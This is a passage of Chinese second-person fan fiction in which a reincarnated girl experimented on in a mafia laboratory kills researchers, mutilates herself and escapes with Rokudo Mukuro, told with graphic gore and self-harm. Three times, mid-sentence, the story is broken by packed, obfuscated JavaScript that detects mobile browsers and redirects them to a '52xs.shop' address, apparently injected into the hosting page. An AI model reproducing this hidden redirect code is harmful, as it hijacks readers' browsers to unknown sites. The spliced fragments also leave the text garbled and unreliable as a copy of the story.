完好的手捏住他的衣角,你用力拉扯他俯身,手背青筋暴露,指尖泛白,你看到白色怪物饶有兴趣地弯下腰,你咬字极轻,但每一个字节都带着深入骨髓的力道。 “咬碎你的骨头,我要把你扔到大海喂鲨鱼,我要剁碎你每一块恶心的肥肉喂老鼠。。” “你该死该死该死该死。” 你知道白色怪物听不懂你的话,但没关系,很快,他就会知道了。 这里的人总是这样,自以为是,高高在上,乐于操控人的命运。以为你丧失了反抗力道,就会乖乖屈服吗?做梦! 你看到白色怪物傲慢地低下头颅,你盯着他眼里极力克制的痴迷和疯狂,完好的手抓住落在你身边的碎片,你朝他笑着,左手毫不留情刺入他的胸膛。 怪物,就该有怪物的死样。 疼痛激得花村瞬间松手,他面露痛苦地捂住胸口,花村看向你,你站起身,灰蓝色的眼里是止不住地笑意,你的手里还拿着他的枪。 你拿到了他的枪。 你神经质地笑着,第一次碰枪的你做得很好,枪口抵着花村的嘴巴,你按下扳机,子弹击中他,这一次,换怪物倒下了。 他可不是你,丧失了力气,白色怪物真的能做到像你一样不断挣扎反抗吗? 像真正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14310472|151611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的稚童,你的眼里流露出纯碎的好奇和恶意。 显然,它做不到。 你眨了眨眼,扔掉手上碍事的碎玻璃,你蹲下身看着不断痛苦挣扎的怪物,他眼里的痴迷不曾消减,相反,看到你走近他,让你作呕的目光越来越不加以掩饰。 恶心恶心恶心好恶心恶心好恶心好恶心好恶心 扣爆扣爆扣爆戳爆戳爆你要扣爆戳爆他!! …… 苍白的指尖控制不住地颤抖,你精神极度亢奋地看着指尖沾染的鲜血,你恨恨捏爆手上恶心黏腻的眼珠,清脆的爆破声令你无法自控地笑出声,你神经质地大笑着,你畅快地挖入他的胸膛。 哈哈哈哈哈杀了你杀了你杀了你去死去死去死去死都去死都去死 该死的贱人哈哈哈哈 什么啊,原来怪物也会流血的吗?哈哈哈怪物居然也像你一样有心的吗?他的身体结构居然也和你一样,什么啊,你还以为他们脱离了和你一样的物种身份呢,不然为什么每次切割你注射你实验你,他们痴笑大喊疯狂,却唯独不会手下留情啊啊啊啊啊 为什么为什么为什么为什么为什么 哈哈哈哈原来大家都是人啊,你神经质地破坏着,你又哭又笑,流泪和欢笑模糊了你的情绪,你感觉自己快要疯掉了。 你看向桌面上的时间,你呆愣愣看着一身污垢的自己,你后知后觉感到了恶心,理智痛苦地回归,你恢复了清醒和神智,胃里疯狂发酸,你开始反胃想吐,生理性的厌恶与痛苦齐齐涌上,你开始折磨自己。 为什么啊为什么要是我啊 你不解又痛苦,报复过后的快感消失,迷茫涌上心头,你非哭非笑地看着镜片中沾染血污的自己,从小到大的教育和道德感在你心里拉扯折磨,你疯狂用碎玻璃折磨自己,好像这样就可以把自己解救。 …… 恨意没法消减,痛苦无法祓除,感知不到疼痛的你麻木看着自己身上的伤口,你僵硬地转动眼珠,拿起让人失去反抗力道地枪,你跌跌撞撞踩碎地上的残物,你打开门,瞬间,无数白色怪物齐齐扭头看你。 恶意痴迷冰冷的目光纷纷落在你身上,你看着自己孱弱的身躯和无力的四肢,你又想起你这些日子不断被人体实验的日子,你又想起合租人疯狂虐杀你的笑容…… 忽然,你神经质地扯起嘴角。 没有错没有错没有错没有错没有错没有错你没有错 有错的不是你,你没有错啊…… 一直该死的,至始至终都是他们…… 你突然就想通了,凭什么呢,凭什么把你变成这副摸样,对你施加多番痛苦,到头来,你还要在心里谴责自己。 因为你感知不到痛苦?所以看到别人痛苦,你的手指莫名感到颤栗? 哈哈哈哈不会的,你不会原谅他们,怪物就该堕落痛苦的深渊。 你举起枪,伴着清脆的响声,白色怪物一个接着一个倒地,嘴角的笑容越咧越大,光影分割出的阴影落在你脸上,眼底恨意与快意并行,你知道,你彻底坏掉了。 7.第 7 章 枪里子弹有限,但最终站在地面的,只有你。 克制不住自己欲望的低等劣质怪物,不过是看到你痴痴盯着倒在血泊里的怪物笑出声,一瞬间,像是压抑许久,怪物们丑陋的面容终于暴露出来,嘶咬怒吼疯笑着,他们互相残杀,只为得到你的注视。 你失血过多,大脑也晕乎乎的,你低头看自己扭曲的指关节,掌心血痕见骨,完好的手握着枪,明明在此之前你什么都不懂,但握上枪的一瞬间,你的灵魂莫名战栗。 等你再次把目光投向这群肮脏下贱的垃圾,大片大片艳丽诡谲的红映入你苍白的眼帘。 糜烂猩红的颜色和气息侵占着你所有感官,你看着疯狂混乱肮脏的一幕,血腥刺激着你的神经,你浑身颤抖,再也压抑不住,你神经质地大笑出声,幸存的怪物看到你眼尾染上的艳红,他们也痴痴跟着你歪头大笑。 “宝物、私たちの宝物。” “私を见て、私をじっと见つめ、私を爱して。” “くすくすくすくす、一緒に眠ろう、死んでもあなたと离れはしない。” “邪魔なやつを解决した、次は、あなただ。” 沾满红色污渍的手兴奋颤抖地伸向你,白色怪物妄图将你拽入地狱的深渊,你歪着头,笑容咧到耳根,嘴角撕裂,口腔内全是黏腻腥甜,像是察觉不到自己的异样,你无法抑制地大笑。 枪口抵着疯掉的怪物,你也疯掉了,不然你怎么会从心底感到无法言喻的满足和愉悦呢。细微的痛楚扔在暗无天日的心脏一角,你愉悦眯起眼睛,你知道这些自相残杀的怪物们都活不久了哈哈哈哈。 哈哈哈哈你就说你会杀了他们 …… 不会原谅,人渣垃圾该下地狱的混蛋,都给你去地狱忏悔吧!! 走廊又被你搞得乱七八糟,你近乎愉悦地勾着唇,精神极度亢奋,身体深处却隐隐传来让你无法抵御的疲惫。 大笑过后,你沉默倚靠着红墙,灰蓝色的眸子一片死寂,好半晌,依旧没有怪物来收拾残局,你慢吞吞举起手,大脑因为失血过多而变得迟钝,你固执想要把歪曲的手指捋直。 随手扔掉没用的枪支,砸中某人后发出的清脆响声并没有吸引你半分的注意,你还在和你扭曲的手指做抗争。 该死该死该死该死该死 为什么掰不直为什么掰不直为什么为什么为什么!! 你执拗地掰着你扭曲的指关节,手指接触到红肉下的白骨,你愈发没轻没重,“咔嚓”一声脆响,你彻底掰断了你脆弱扭曲的指关节。 …… 作对!!全都该死的和你作对!!连你的身体都不听你的话!!! 你神经质地啃着白骨,你用力掰扯,全都敲碎敲碎敲碎!!!垃圾垃圾垃圾该死全都该死!!! “もう十分です。” 温热的手指轻轻搭在你血肉模糊的手腕,来人没怎么用力,却让你无法再伤害自己。你恶狠狠抬头,失血过多,你的视力开始模糊,你看不清又是哪个该死的贱人阻止你。 你挣扎着瞪大眼睛,你企图用眼神瞪死怪物。模糊的光影下,你艰难抬起头,你没看到白色怪物,你的眼前只有一颗晃动的凤梨。 凤梨在和你说话。 “凤…梨?” “おや、私を認めましたか?” 不是人,是凤梨妖怪吗?你晕乎乎地想,意识到对方听不懂你的语言,迟钝滞涩的大脑艰难回忆,你终于想起凤梨的英文单词。 “pineapple……” 说完这句英文单词后,你水灵灵地晕了过去,你也就没有看到抱住你的人身体一僵。 六道骸意味不明看了你一眼,冷淡扫了眼地上的残肢红血,他面色如常穿过血淋淋的走廊,六道骸带着你回到他的实验室。 ……他本来没打算冒着危险来找你。 目光在你破败模糊的身体转了一圈,和第一次捡到你一样,六道骸拿起沾了水的布条坐在你面前,从脸到手指,他细致地替你擦干净你不喜欢的血污。 等到你露出干净的面容时,白布条再次变成了粉红色。静静盯着你的脸看了一会,六道骸抬手用布条遮住你的眼睛。 “勇敢な子供がここでは賞賛されない。” 六道骸安静注视着你,他所在的实验室里,只剩下他了。 漂亮的靛青色眼眸盛载着你的身影,六道骸也不知道自己为什么会去找你。可能是外面的厮杀声过于盛大,直觉告诉他,你在外面。 果不其然,打开门,他就看到你疯笑着站立。在你面前,研究人员倒了一片,是自相残杀还是什么,六道骸完全不在乎。黑手党的死亡而已,换做是他,只会做得更残忍。 他的视线唯独被你吸引。 撕裂的嘴角,充斥着恨意的眼神,失血过多却还不愿倒下……灼灼光辉耀眼得像是能刺伤人,六道骸感觉自己隐隐接触到了你灵魂的本质。 你和他都是一样的人。 六道骸很确定,自己并不是被你扭曲的皮囊所吸引,那是来自灵魂的战栗感,直到此刻,他才真正将你看在眼里。 等待着你转醒,六道骸轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14375408|151611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 触摸上你裂开的嘴角,“私と一緒に逃げよう。” 他救你可不是出于好心,六道骸很清醒,只是因为你的利用价值最大而已。 再度清醒过来,你异常平静。茫然地看着似曾相识的屋子,你扭过头,昏迷前看到的小凤梨正水灵灵坐在床边看你。 “ ろくどう むくろ。”小凤梨张着嘴,他指了指自己,“ 私の名前は六道骸です。” 小凤梨缓慢念了两遍:“Rokudō Mukuro。” 你完全不想搭理会说人话的凤梨,甚至你都没想起来你们曾有过一面之缘,极致的痛苦与压抑淡化了你过去的很多记忆。坐起身,你低头看向自己露出白骨的指节,今天还没过去,你的伤痕依旧存在。 听着小凤梨的伴奏,你愣愣扭头,屋子里只有小凤梨一个人,亮到晃眼的白墙刺得你险些落泪,你看着微笑的凤梨头,你忽然有点想吃螺蛳粉了。 如果你还活着,这个时候你应该刚刚泡完舒适的热水澡,涂好香喷喷的润肤乳,你的平板会播放最近大热的搞笑综艺。扫地机器人勤勤恳恳地干着活,你窝在自己的小窝,日月交替,星光在窗外散发着微弱的光芒,虫鸣的白噪音恰到好处…… 你本该幸福地活着…… 但是,一切都毁了。 或许你该庆幸那天你没有领养雨季遇到的那只小猫。 坐在冰冷的病床,你怔怔看着自己的白骨,你从未如此清晰地意识到,你已经死了。没有人会为你伤心难过,也没有人会为你哀悼,亲缘浅薄的你甚至都不会有一场安稳的葬礼。 “啪嗒” 温热的泪珠落下,又被六道骸接在掌心,你抬起头,模糊的泪眼里,你只能看到一颗俏生生的凤梨头。 泪水模糊了你的视线,你看不清凤梨头的表情,你只看到他缓缓凑上前,温热的指腹轻缓擦过你的眼角,这一次,凤梨头什么话都没再说。 “Mu-ku-ro……” 那是谁在说话? 是你在说话。 内心的烦躁痛苦抑郁悲伤无法得到抒解,你连哭泣都不想,灰蓝色的眼眸浸染了一层剔透晶莹的水光,你闭上眼抱住凑到你身边的六道骸。 “Mukuro… Mukuro… Mukuro……” 你一遍又一遍念着他的名字,你压抑着哭腔。愈是如此,你愈是恨。恨这个世界,恨弱小的自己,恨该死的神明,恨合租人。 六道骸不厌其烦地回应你,实验室里,两个小小的陌生孩子短暂依偎在一起,仿佛这样就能温暖彼此。 8.第 8 章 你很快从短暂的崩溃中清醒过来,好歹是新的身体新的生命,你绝对不甘心就此放弃或死亡,更何况,真正该死的从来都不是你,作呕的白色怪物和实验室还存在,你又凭什么崩溃死亡? 你最应该活下去,你偏要好好活下去。 你低头看着自己裸露在外的森森白骨,你举起手,照着灯光,你耐心细致地摆正自己扭曲的骨骼。 你欣赏着排列整齐的指骨,脑海里忽而映照出一片糜烂的血色,你神经质地笑出声。 看呐,白色怪物也没你想象的那么强大,他们也无法拒绝死亡的拥抱,甚至,都不用你动手,怪物们自己就争相下地狱去了。 “我要毁了这里,然后逃出去。”你神经质地自言自语,“不,不对。” “我要堂堂正正、正大光明地走出去。” 该逃跑的,是他们才对。 余光里,小凤梨还乖乖坐在你旁边,你扭过头,凤梨头正安静注视你,靛青色的眼睛像宁静的海洋,见你看过来,他朝你笑了下。 “やっと私の存在に気づきましたか?前回よりだいぶ進歩しましたね。” 小凤梨嘴里一阵叽里呱啦,他说着和白色怪物相同的语言,你压下内心的不爽和暴躁,忍耐了会,你恶狠狠地揪了把他的凤梨脑袋。 “あ、すみません、あなたが理解できないことを忘れました。” 说完这句话,六道骸继续安静看着你。他很少有这么真正安静的时候,实验里,他总是保持着温和的假面,那群人最喜欢他这幅样子,连受到的折磨都会轻一些。 六道骸温和笑着,精致的假面下,作呕感始终萦绕在心脏。他每天都在想,这样无趣糟糕的世界究竟有什么意义。 ——他要毁掉这个世界,毁掉黑手党。 不过现在,他倒是找了件有趣的东西。 靛青色的眼眸倒影着你苍白凌乱的身影,六道骸难得感受到了几分安宁。看着你眼中不灭的仇恨光芒,六道骸清楚,他找到了同类, 你们会是一体的。 这样想着,六道骸的头皮忽然传来一阵揪痛感。六道骸抬眼望去,你的手不知何时又一揪住了他可怜的头发。 …… 你们互相对视,你的手还抓着他的头发,等待了一会也没见你松开,六道骸皮笑肉不笑地抓上你的骨爪子。 手指虚虚搭在你的手腕,六道骸都担心自己稍一用力,耳边就会响起清脆的骨折声。 “これ以上手を放さないと、私はあなたに容赦しませんよ。”知道你听不懂他的话,六道骸刻意压低嗓音,摆出威胁的语气,他目光幽幽地盯着你。 你看懂了他眼里的威胁,定定看了六道骸一眼,你僵硬地扯了扯嘴角,思考片刻,你看向不开心的小凤梨,你缓慢开口:“mu-ku-ro……” 六道骸一顿,“こんな時に私の名前を呼んだら役に立つと思ってはいけない。” 你听不懂他的话,不过看到小凤梨缓和的表情,你再次慢悠悠开口:“mu-ku-ro。” 六道骸:…… 可能是因为小凤梨接住你两次,又或许是他刚刚沉默安静的拥抱,你难得看凤梨头顺眼起来。摸着偏硬的凤梨脑袋,你稍微对小凤梨提起了些耐心。 于是,你继续拖长音:“mu--ku--ro” 这大概是他的名字,你猜测道,毕竟肉眼可见的,凤梨头叹了口气。 “最後に。” 你的精神状态有点好转。 没有讨厌恶心的白色怪物,没有作呕垃圾的实验仪器,没有刺目晃眼的白色灯光……你和小凤梨安安静静靠在一起,你久违感到了安心。 心脏宁静得像是被阳光晒过的稻草填满,金灿灿的稻草干涩又温暖,清浅的呼吸穿过稻草间的空隙,你漫无目的揪着小凤梨的头发。 手指穿梭在他发间,柔顺的发丝滑落你的白骨,古怪的酥麻感密密麻麻席卷上你烦躁的心窝,你感到了诡异的满足。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14413436|151611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 六道骸任你作弄他的头发,他听着门外窸窸窣窣的动静,难以捉摸的目光忽而投向你,六道骸缓慢伸手摸上自己的眼睛。 他的实验也要开始了。 突兀的,六道骸伸手抱住你。有点扎人的凤梨脑袋刺在你的颈窝,你也突兀地感到了一阵密密麻麻的疼痛。 真奇怪,你怎么会感到疼痛? “いやだなあ。”难得的,六道骸第一次孩子气地直白表达了他的厌恶。但很快,六道骸又收敛了情绪。 “もし……”停顿几秒,六道骸虚虚抱着你,他的声音极轻极慢,隐约带着别样的蛊惑感,“今度会って、私が生きていたら……” “一緒に破壊して行こう。” 六道骸很快松开了这个怀抱,他也看着难得安静正常的你,门被打开的一瞬间,他忽然张了张嘴。 “もう一度私の名前を呼んで。” 半晌,想到你又听不懂他的话,六道骸露出无奈的表情。 “もういい……” “mu-ku-ro……” 被白色怪物带走前,你忽然转身看向微笑着坐在床上的小凤梨,你明显看到他睁大了眼睛,于是,你压抑着看到白色怪物的想杀人的欲望,你僵硬地弯了弯嘴角。 “mu-ku-ro。活下去吧。” 你当然看到了房间里只剩小凤梨一个人。白色怪物可不是什么心慈手软的存在,如果你没有■■贱人的祝福,你恐怕也早死了。 早死掉倒也好,可你没能简单死去,既然如此,你选择活下去。 你不知道未来如何,起码此刻,你没有一刻想去死。 ——每时每刻,你只想他们去死。 六道骸微笑着看你离开,感受着投在他身上刺痛般的嫉妒恶意的目光,六道骸笑得愈发温和。 疯狂和恨意隐在正常乖巧的表面下,六道骸的嘴角始终挂着不见眼底的笑。 祈祷他死去吧…… …… 9.第 9 章 你被严加看管起来了。 他们竟然没有选择杀死你,白色怪物们面色严肃,有几只甚至还面露恐惧。手臂粗的锁链束缚住你的手脚,你毫无反抗之力,但白色怪物们却好似把你当成了洪水猛兽。 目睹怪物们荒诞可笑的表情,你诡异感到了愉悦。 但很快,随着时间的推移,那点恐惧惊慌逐渐被痴迷病态喜爱覆盖。研究人员爱你的皮囊,更爱你作为实验体时完美的样本。尽管你的身体无法在第二天残留任何痕迹,但一天的搜集量足足抵得上绝大多数不够完美的实验体。 更何况,你还有着和人类最本质的区别。 ——你是一个怪物。 “彼女は怖いと思った。” 新来的研究人员一边在你身上切割注射,一边和旁边存活的旧研究人员搭话,他以赞美的目光注视你,新研究人员心情愉悦地欣赏你。唯一遗憾的是,你那张漂亮精致的脸蛋上没有流露出丝毫恐惧惊慌,但浓烈得快要将他杀死的仇恨也足以令他回味许久。 “终わり最初に来た时、お前たちはここで大虐杀を経験したようです。”新研究人员嗤笑,“谁がアストラネオ家族の重い防御を突破できる?” 旧研究人员淡淡瞥了蠢货一眼,他警告道:“あなたの口を管に住む。そして、彼女を見くびるな。” “彼女は簡単に恐ろしいと言える存在ではない。” 旧研究人员目睹过当时惨烈的场景,不,或者用诡谲艳丽更准确些。那双浸染了仇恨的眼睛第一次被其他颜色覆盖,绚烂夺目的笑意几乎迷醉他的心神,要不是残存一丝对生命的敬畏,旧研究人员也会是冲上去的一具尸体。 …… 可是,真美啊啊啊 旧研究人员死死盯着你的无机质的灰蓝瞳,他无法控制地回想你当时的表情。 ——真想再看一次啊,你那样的神态。 只要只要再有人死就可以吧吧吧吧吧吧吧哈哈哈有人死死死死死死他是不是是不是就能看你美到窒息的表情 你早就注意到了白色怪物不正常的表情,他异常沉默地盯着你,逐渐痴狂病态的眼神和当时怪物们互相厮杀的表情一模一样。你歪了下脑袋,不经意的目光落在他旁边的白色怪物身上,你忽而弯起唇角。 咯咯咯咯哈哈哈哈他还能保持多久的清醒呢 噗呲 大片大片的红浸染你的虹膜,在所有人都没反应过来的时候,其中一个研究人员突然暴动。 他死死盯着你的反应,挥舞的血迹逐渐染红苍白冰冷的白墙,刺目的灯光落下大片阴影,你盯着选择疯掉的怪物,余光落在自己扎满针管的身体,无力躺在实验床的你忽然神经质地笑了起来。 尖叫嘶吼怒骂……人类面对死亡的恐惧和夹杂在其中的疯狂刺得你笑出声,有人恐惧有人癫狂,你听着满屋疯癫,你莫名也跟着痴痴笑出声。 脆弱不堪的白色怪物选择自我毁灭,他们杀死了他们自己,却又在临死前,将惊恐愤怒病态痴迷的目光投向你。 午夜十二点,灯光昏暗,像灰姑娘的魔法时间失灵,你迟钝地从床上起身,赤脚踩在肮脏的血污之中,你忍耐着恶心黏腻冰凉的触感,冷漠掠过青白血红的残肢,忽而,你蹲在地上。灰蓝色的眸没有感情地盯着怪物们脸色癫狂的表情,你想再做些什么,但想起之前的经历,你莫名丧失了兴趣。 ……你不想脏了自己的手。 完好健康的身体总算让你精神好了些,你来到门口。新实验门的开关很特殊,你拖着断手按下指纹,又拿起怪物们打斗过程中遗落在地上的门卡,你第一次亲手打开了禁锢你的大门。 随意将断手扔到身后,手上拿着从桌上顺走的特殊药剂子弹和枪支,你穿着宽大的实验服,空洞洞洞的风阴冷地从领口穿过,你浑身颤栗。 驻守在门外的白色怪物覆上一层面具,他们纷纷对你举起了枪。 “01、実験室を出ないでください。” “に警告,01、実験室を出ないでください。” “バカ、彼女は私たちの話を理解していない。”左侧的白色怪物低声怒骂了句,你看到他警惕地盯着手无缚鸡之力的你,你生疏地举起枪,你对准你搜集起来的所有特殊药剂。 “阻拦我。” “你该死。” 贱人贱人贱人都是贱人该死该死全都该死哈哈哈哈都该死 去死去死去死去死—— 古怪的笑声低低回响在空旷寂静的走廊,白墙,白灯,白色实验服和白色怪物,冷寂阴郁的白像死人脸上苍白诡异的厚粉,莫名令人感到可怖。 白色怪物心惊后退一步,耳边似有人在蛊惑,你神经质的笑声像不可名状的呓语,你对着药剂开了一枪,手里的酒精瓶随意一抛,诡异的特殊火焰瞬间将这一切燃烧,你从火光中走过,亡者的哭泣被你抛在身后。 拿着门卡,你打开了无数扇门,药剂和子弹共同赴入仇恨的烈火,你看到白色怪物拼命救火。 ……怪物的生路被烈火缠绕,你的生路又在哪里? “kufufufu……” 古怪的笑声透着阴冷怪异,最后一扇门打开,你看到熟悉的凤梨头,他站在光的尽头,小凤梨手持三叉戟,猩红诡谲的右眼盯着你,你看到倒了一地的尸体。 “私は地獄の輪廻から帰ってきた。” 六道骸一步一步缓慢靠近你,纯良漂亮的脸蛋上,笑意不达眼底,六道骸在你面前站定,你抬起头,发现小凤梨失去了一只剔透清澈的靛青色宝石。陌生的右眼里,刻着冷漠苍白的数字六。 小凤梨好像变了。 苍白冰冷的手指轻轻抬起你的下巴,六道骸意味不明地盯着你。他一直看着你不说话,好半晌,他才缓慢抬起三叉戟。 尖锐冰冷的三叉戟轻轻浅浅在你脸上留下一道红痕,大拇指擦拭干净你的血液,安静看了你半天,六道骸愉悦地眯起眼睛。 “今、あなたは完全に私のものだ。” 你看着小凤梨的迷惑行为,你完全没发现自己受伤,你只注意到眼前的光亮。莫名的预感催促着你前行,你知道,前方就是自由。你拍开小凤梨的手,异常兴奋的大脑识别不了小凤梨古怪的情绪,你只觉得他挡了你离开的道路,你大步跨向大门。 一路上,你没有发现活着的白色怪物。 正式踏出实验室的最后一步,你回过头,实验室被大火淹没,你的痛苦崩溃疯狂如这场永不熄灭的大火,永永远远埋葬在了这里。 直到站在真正的阳光下,你还有些恍惚。 ——你真的出来了。 “行こう。” 有人在说话,你扭头,是凤梨头。他竟然还跟在你身后。没有听懂凤梨语,你继续抬头看天。漂亮刺眼的阳光鲜活地照在你身上,你恍惚发觉,自己竟然已经很久没有呼吸到新鲜的空气了。 你记不清自己有多久没有晒过太阳了,冰冷的温度下,太阳依旧存在几分温暖,这点微弱的温度足以让你的心脏得到片刻回暖。 ——你自由了。 回忆起你计算着白色怪物疯掉的时间,你努力摸清他们实验的规律,艰难记下你需要的特殊药剂……你不眠不休了十几个昼夜,才终于抓住你活动的间隙,你也确实成功了一半。 现在,你享受着自由的果实,却又陷入深深的迷茫。伸出手,你失神地看着自己苍白脆弱的手指,你又低下头,沾满血污和尘土的脚正赤裸裸踩在你陌生的世界,冷冰冰的温度从脚底蔓延,心脏像破败缺棉的、被扔入垃圾桶的废弃小熊,你怔怔看着不属于你的世界。 讨厌讨厌讨厌讨厌讨厌好讨厌讨厌 陌生的世界陌生的环境陌生的空气陌生的太阳陌生的土地,所有的一切都让你难以适从,你像是黑白漫画里被强行塞入的异世炮灰路人甲,你所拥有的不幸好似神明随意书写的一笔。 说什么给你新的生命新的世界,都是说垃圾话的贱人!!贱人!! “ 行かないの?” 失神间,小凤梨又来到了你面前,他抬眼望向你看到的世界,六道骸伸手虚虚圈住你的手腕,红色的眼睛透着凉意,没看几秒,他就偏头看向你,手指虚虚点上你的嘴角,六道骸缓慢开口,“mu-ku-ro。” 你单调地眨了下眼,机械式地重复他的话,“mu-ku-ro。” 低头看着自己被禁锢的手腕,你伸手扒拉开。视线跟随落叶的轨迹移动,你迈向风吹来的东方。 …… 你没有走成。 你被迫停下步伐,有人拽住了你的手,你扭头看去,还是小凤梨。收敛心神,你疑惑看他,你以为之后你们会分道扬镳。 但是,小凤梨似乎不这么想。 “你想去哪?”六道骸也不知道有没有看出你想单飞的心思,他自然牵起你,“哦呀,是想走这个方向吗。” “骸大人,这家伙也是和我们一起的吗?” 突兀的声音让你没有留意六道骸的动静,你偏过头,你这才发现原来小凤梨的旁边还有两个人。 ——两个个性异常鲜明的人,一个像金毛狗,一个像机器人。但不约而同,他们看上去都可怜兮兮的。 滞涩酸胀的大脑僵硬转动着,你一个一个看过去。 金毛小狗有些潦草,橙金色的眼瞳透着警惕,他认真看了你好几眼,半晌,反射弧最长的金毛犬恍然大悟,“这家伙不就是那群混蛋常挂在嘴边的存在吗?!” 柿本千种淡淡瞥了眼笨蛋犬,中指托了托滑落的眼镜,柿本千种不经意扫了你几眼,“骸大人,她也是我们的同伴吗?” “kufufufu…她对我可是很有利用价值的呢。” 柿本千种默默看了你一眼,心间隐隐闪过什么,他安静跟在六道骸身后。 “那不就跟我们一样嘛。”城岛犬倒也没有多想,毕竟以他的脑容量,城岛犬也想不了多深。 既然从骸大人口中确认你是他们同伴,城岛犬极其自然地选择接纳你。你们都是实验的受害者,城岛犬早就听说了你的很多事迹。 比起好奇,城岛犬更多的是憎恶和愤怒。 ——那群该死的黑手党!!! 活着的每一天,城岛犬都在痛恨。 “笨蛋犬。”柿本千种语气平淡地回应,他看向六道骸牵起你的手,不管从哪方面看,你和他们都不可能一样。 不过,如果这是骸大人的意思,他也会选择接纳你。 六道骸没有再理会身后的动静,他牵着你迈向你想去的方向,留意着周边环境,六道骸始终很有目的地往前走。 你有些烦躁。 听着凤梨他们不间断的说话声,你死死盯着凤梨头桎梏着你的手,你不理解地望着他的后脑勺,凤梨叶子一晃一晃,你更加烦躁了。 想要离开…想要一个人…想要…… 你的内心是一片乱码,你忽然发现,你已经看不清自己究竟想要的是什么了,那些美好的日常生活恍惚被你遗忘在记忆深处,任你如何努力回想,你始终只能记起一片空白。 你正在淡忘你前世的记忆,那些仅存在你脑海中美好温馨的画面,像指间留不住的沙,在你终于自由后,你唯一的生存念想被残忍剥夺得一干二净。 你想要活着…… 可是,你已经不知道该怎样正常活着了。 你低头盯着地上裸露的石子,你赤脚踩在尖锐的石子上,锋利的石头划破你脆弱的肌肤,新鲜的血覆盖住近乌黑的血迹,如果不是你始终注意着脚下,你根本不会注意到这枚不起眼的石子。 ……无法感知疼痛,逐渐扭曲的美貌,过分诡异的健康,除了最后一个你还不清楚的金钱,你异常清楚■■的祝福究竟是怎样扭曲的存在。 不能被发现,不能被注意…… 活着之后,等待你的,又会是什么? “砰!” 沉闷的碰撞声响起,你茫然地停下脚步,抬起头,你才发现自己撞上了小凤梨的背。 看吧,就连撞到人,你都需要后知后觉。 他转过身,六道骸静静看了你一眼,下一秒,幽深的目光定格在你脚上,他蹲下身,温热的指节覆上你冰冷的脚踝,六道骸低声道:“受伤了。” 意识到你听不懂后,六道骸难得无奈,左手揽过你的膝关节,右手抱着你的腰肢,稍一用力,六道骸便公主抱抱起了你。 “她明明都看到自己受伤了吧,为什么不说?!”城岛犬不理解地看你,受伤要治疗难道不是理所应当的事吗? “大概是因为…从来没有给她治疗过。” 柿本千种冷静理智地分析,过一夜就会恢复正常的身体,那群人不可能浪费力气再去救你。 ……你不是他们这种不治疗就会一次性废掉的残次品。 “该死的混蛋黑手党!!”城岛犬咬牙切齿。 听不懂人说话的你自然也就不清楚他们在讨论你,你怔愣地看着六道骸公主抱起你。凤梨头小小的身板,力气倒是出乎意料的大。 “放我下来。” 你不满,你揪着他的凤梨脑袋,见他只是偏头就轻易躲过你的袭击,你沉默盯了他半天,忽然,趁其不备,你低头恨恨咬了他一大口。 “讨厌的凤梨妖怪!!!” “该死的混蛋混蛋混蛋混蛋——” 身体变小,珍贵的记忆逐渐消失,你整个人处在异常暴躁的状态。 耳朵一痛,六道骸轻微“嘶”了一声,单从你的语气,六道骸大概也能猜测到你此刻的神情。 偏过脑袋,你的嘴巴还叼着他的耳朵,明明也就和你接触了三次,六道骸却一点也不意外你的表现,甚至,他的内心只剩下淡淡的无奈,连心底浓郁的负面情绪都在不知不觉消散不少。 你恶狠狠用牙齿磨着小凤梨的耳朵,你使劲回想,半晌,你总算从回忆里扒拉出骂人的话。 离开了作呕恶心垃圾肮脏的实验室,你的精神还是好上一点的,起码你可以正常对待他们说的语言了。 是的,你清楚他们说的是日语。但那又如何,不管他们说的是什么语言,你只会打心眼底的排斥。 只可惜你脑子里有限的日语知识仅仅只从日漫里获得,所以你会说的翻来覆去也就那么几种。 你半点没有收敛力道,小凤梨的耳朵被你咬出血,你超级大声地怒骂:“八嘎呀路——!!!” 带着十足的发泄,你又气狠狠用头撞击他的后脑勺。 该死该死该死的为什么全都要和你作对!!! 紧绷压抑的神经像是有病,你又不可抑制地焦躁起来,你像头困兽,你自顾自地圈地为牢把你自己困了进去。 不对不对不对不对不对不对不对 …… 你神经质地咬着手指,灰蓝色的眼里裹挟着深深浅浅的痛楚。 丛林中安逸栖息的鸟雀被你惊得飞起,扑腾扑腾的翅膀凌乱响彻在林间,城岛犬也被吓得竖起耳朵。 受伤最大的六道骸情绪稳定地把你放在小溪边的大石头上,知道你没有痛觉神经,也知道你下手没轻没重,六道骸叹了口气,后脑勺和耳朵隐隐作痛,他没有管伤口。六道骸弯下腰,温热的手托着你的脚踝,他耐心细致地擦拭你脚上的血污。 城岛犬和柿本千种也靠了过来。 